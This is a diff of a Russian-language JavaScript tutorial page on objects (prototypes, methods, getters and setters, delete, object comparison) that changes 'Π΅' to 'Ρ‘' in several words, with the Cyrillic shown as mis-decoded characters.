-<p>Π­Ρ‚ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ налагаСтся ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создаСтС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ Π΅Π³ΠΎ свойства с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ конструктора (ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ Ρ€Π°Π½Π΅Π΅ с Ρ‚ΠΈΠΏΠΎΠΌ <em>Car </em>) ΠΈ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ опрСдСляСтС ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства явно (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>myCar.color = "red"</code>). Если Π²Ρ‹ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‡Π΅Ρ€Π΅Π· индСкс, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>myCar[5] = "25 mpg"</code>, Ρ‚ΠΎ впослСдствии ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° это свойство ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΊ <code>myCar[5]</code>.</p>
+<p>Π­Ρ‚ΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠ΅ налагаСтся ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создаётС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ Π΅Π³ΠΎ свойства с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ конструктора (ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ Ρ€Π°Π½Π΅Π΅ с Ρ‚ΠΈΠΏΠΎΠΌ <em>Car </em>) ΠΈ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ опрСдСляСтС ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ свойства явно (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>myCar.color = "red"</code>). Если Π²Ρ‹ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‡Π΅Ρ€Π΅Π· индСкс, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>myCar[5] = "25 mpg"</code>, Ρ‚ΠΎ впослСдствии ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° это свойство ΠΌΠΎΠΆΠ½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΊ <code>myCar[5]</code>.</p>
<p>Π˜ΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· ΠΏΡ€Π°Π²ΠΈΠ» <span style="line-height: 1.5;">β€”</span> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ ΠΈΠ·Β HTML, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ массив<code> forms</code>. Π’Ρ‹ всСгда ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² этих массивах ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΈΡ… индСкс (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ основываСтся Π½Π° порядкС появлСния Π² HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅), ΠΈΠ»ΠΈ ΠΏΠΎ ΠΈΡ… ΠΈΠΌΠ΅Π½Π°ΠΌΒ (Ссли Ρ‚Π°ΠΊΠΎΠ²Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹). НапримСр, Ссли Π²Ρ‚ΠΎΡ€ΠΎΠΉ html-Ρ‚Π΅Π³ <code>&lt;FORM&gt;</code> Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>NAME</code> Ρ€Π°Π²Π½ΠΎΠ΅ "myForm", Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° эту Ρ„ΠΎΡ€ΠΌΡƒ Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:Β <code>document.forms[1]</code> ΠΈΠ»ΠΈ <code>document.forms["myForm"]</code> ΠΈΠ»ΠΈ <code>document.myForm</code>.</p>
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_свойств_для_Ρ‚ΠΈΠΏΠ°_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ свойств для Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</h2>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство ΠΊ Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° воспользовавшись ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ свойством <code>prototype</code>. Π§Π΅Ρ€Π΅Π· <code>prototype</code> создаСтся свойство, Π΅Π΄ΠΈΠ½ΠΎΠ΅ для всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, Π° Π½Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ экзСмпляра этого Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΊΠΎΠ΄ дСмонстрируСт это, добавляя свойство <code>color</code> ΠΊΠΎ всСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ Ρ‚ΠΈΠΏΠ° <code>car</code>, Π°Β Π·Π°Ρ‚Π΅ΠΌ присваивая Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойству <code>color</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°<code> car1</code>.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство ΠΊ Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° воспользовавшись ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ свойством <code>prototype</code>. Π§Π΅Ρ€Π΅Π· <code>prototype</code> создаётся свойство, Π΅Π΄ΠΈΠ½ΠΎΠ΅ для всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΄Π°Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°, Π° Π½Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ экзСмпляра этого Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΊΠΎΠ΄ дСмонстрируСт это, добавляя свойство <code>color</code> ΠΊΠΎ всСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ Ρ‚ΠΈΠΏΠ° <code>car</code>, Π°Β Π·Π°Ρ‚Π΅ΠΌ присваивая Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойству <code>color</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°<code> car1</code>.</p>
<pre class="brush: js">Car.prototype.color = null;
car1.color = "black";
@@ -297,7 +297,7 @@ var myObj = {
<pre class="brush: js">object.methodname(params);
</pre>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅Β ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ конструктора ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ свойства Π΄ΠΎ этого ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>car</code>. НапримСр,</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для Ρ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅Β ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ конструктора ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ свойства Π΄ΠΎ этого ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>car</code>. НапримСр,</p>
<pre class="brush: js">function displayCar() {
var result = "A Beautiful " + this.year + " " + this.make
@@ -359,9 +359,9 @@ car2.displayCar();
<h2 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_Π³Π΅Ρ‚Ρ‚Π΅Ρ€ΠΎΠ²_ΠΈ_сСттСров">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π³Π΅Ρ‚Ρ‚Π΅Ρ€ΠΎΠ² ΠΈ сСттСров</h2>
-<p><em><a href="/ru/docs/Web/JavaScript/Reference/Functions/get">Π“Π΅Ρ‚Ρ‚Π΅Ρ€ </a>(ΠΎΡ‚ Π°Π½Π³Π». get - ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ)Β </em><span style="line-height: 1.5;">β€”</span><em>Β </em>это ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ свойства. <em><a href="/ru/docs/Web/JavaScript/Reference/Functions/set">Π‘Π΅Ρ‚Ρ‚Π΅Ρ€ </a>(ΠΎΡ‚ Π°Π½Π³Π». set </em><span style="line-height: 1.5;">β€”</span><em> ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ)</em>Β <span style="line-height: 1.5;">β€”</span> это ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ свойству ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹ ΠΈ сСттСры для Π»ΡŽΠ±Ρ‹Ρ… ΠΈΠ· встроСнных ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π²Π°ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Ρ… свойств. Бинтаксис опрСдСлСния Π³Π΅Ρ‚Ρ‚Π΅Ρ€ΠΎΠ² ΠΈ сСттСров ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½Ρ‹ΠΉ ΡΠΈΠ½Ρ‚Π°ΠΊΡΠΈΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p><em><a href="/ru/docs/Web/JavaScript/Reference/Functions/get">Π“Π΅Ρ‚Ρ‚Π΅Ρ€ </a>(ΠΎΡ‚ Π°Π½Π³Π». get - ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ)Β </em><span style="line-height: 1.5;">β€”</span><em>Β </em>это ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ свойства. <em><a href="/ru/docs/Web/JavaScript/Reference/Functions/set">Π‘Π΅Ρ‚Ρ‚Π΅Ρ€ </a>(ΠΎΡ‚ Π°Π½Π³Π». set </em><span style="line-height: 1.5;">β€”</span><em> ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ)</em>Β <span style="line-height: 1.5;">β€”</span> это ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ свойству ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹ ΠΈ сСттСры для Π»ΡŽΠ±Ρ‹Ρ… ΠΈΠ· встроСнных ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π²Π°ΠΌΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Ρ… свойств. Бинтаксис опрСдСлСния Π³Π΅Ρ‚Ρ‚Π΅Ρ€ΠΎΠ² ΠΈ сСттСров ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½Ρ‹ΠΉ ΡΠΈΠ½Ρ‚Π°ΠΊΡΠΈΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
-<p>НиТС ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹ ΠΈ сСттСры Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ:</p>
+<p>НиТС ΠΏΡ€ΠΎΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹ ΠΈ сСттСры Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ:</p>
<pre class="brush: js"><code>var o = {
a: 7,
@@ -386,7 +386,7 @@ console.log(o.a); // 25</code></pre>
<li><code>o.c</code> β€” сСттСр, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ присваиваСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>o.a</code> ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π΅ значСния ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎ Π²Β <code>o.c</code></li>
</ul>
-<p>Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ особо ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π² Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅Β "[gs]etΒ <em>propertyName</em>() { }" Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π² Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΡΠ²Π»ΡΡ‚ΡŒΡΡ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π° ΠΈ сСттСра. Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ Π² качСствС Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π° ΠΈ сСттСра Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с явно ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global
+<p>Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ особо ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π² Π»ΠΈΡ‚Π΅Ρ€Π°Π»ΡŒΠ½ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅Β "[gs]etΒ <em>propertyName</em>() { }" Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π² Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΡΠ²Π»ΡΡ‚ΡŒΡΡ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π° ΠΈ сСттСра. Π§Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π΄Π°Ρ‚ΡŒ Π² качСствС Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π° ΠΈ сСттСра Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с явно ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global
Objects/Object/defineProperty">Object.defineProperty</a></code>Β (ΠΈΠ»ΠΈ Π΅Π³ΠΎ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ Π°Π½Π°Π»ΠΎΠ³Β <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineGetter" title="en-US/docs/Core JavaScript 1.5 Reference/Global
Objects/Object/defineGetter">Object.prototype.__defineGetter__</a></code>).</p>
@@ -450,7 +450,7 @@ myobj.b = 12;
delete myobj.a;
</pre>
-<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <code>delete</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Ссли ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>var</code> Π½Π΅ Π±Ρ‹Π»ΠΎ использовано ΠΏΡ€ΠΈ Π΅Π΅ объявлСнии:</p>
+<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ <code>delete</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΡƒΡŽ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Ссли ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>var</code> Π½Π΅ Π±Ρ‹Π»ΠΎ использовано ΠΏΡ€ΠΈ Π΅Ρ‘ объявлСнии:</p>
<pre class="brush: js">g = 17;
delete g;
@@ -460,25 +460,25 @@ delete g;
<h2 id="Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²">Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</h2>
-<p>Π’ JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ ссылочный Ρ‚ΠΈΠΏ. Π”Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π²Π½Ρ‹ΠΉ набор свойств. Волько сравнСниС Π΄Π²ΡƒΡ… ссылок Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π²Π΅Ρ€Π½Π΅Ρ‚Β true.</p>
+<p>Π’ JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈΠΌΠ΅ΡŽΡ‚ ссылочный Ρ‚ΠΈΠΏ. Π”Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Ρ€Π°Π²Π½Ρ‹ΠΌΠΈ, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ€Π°Π²Π½Ρ‹ΠΉ набор свойств. Волько сравнСниС Π΄Π²ΡƒΡ… ссылок Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π²Π΅Ρ€Π½Ρ‘Ρ‚Β true.</p>
<pre class="brush: js"><code>// Π”Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° Π΄Π²Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° с ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ свойствами
var fruit = {name: 'apple'};
var fruitbear = {name: 'apple'};
-fruit == fruitbear; // Π²Π΅Ρ€Π½Π΅Ρ‚ false
-fruit === fruitbear; // Π²Π΅Ρ€Π½Π΅Ρ‚ false</code></pre>
+fruit == fruitbear; // Π²Π΅Ρ€Π½Ρ‘Ρ‚ false
+fruit === fruitbear; // Π²Π΅Ρ€Π½Ρ‘Ρ‚ false</code></pre>
<pre class="brush: js"><code>// Π”Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΎΠ±Ρ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚
var fruit = {name: 'apple'};
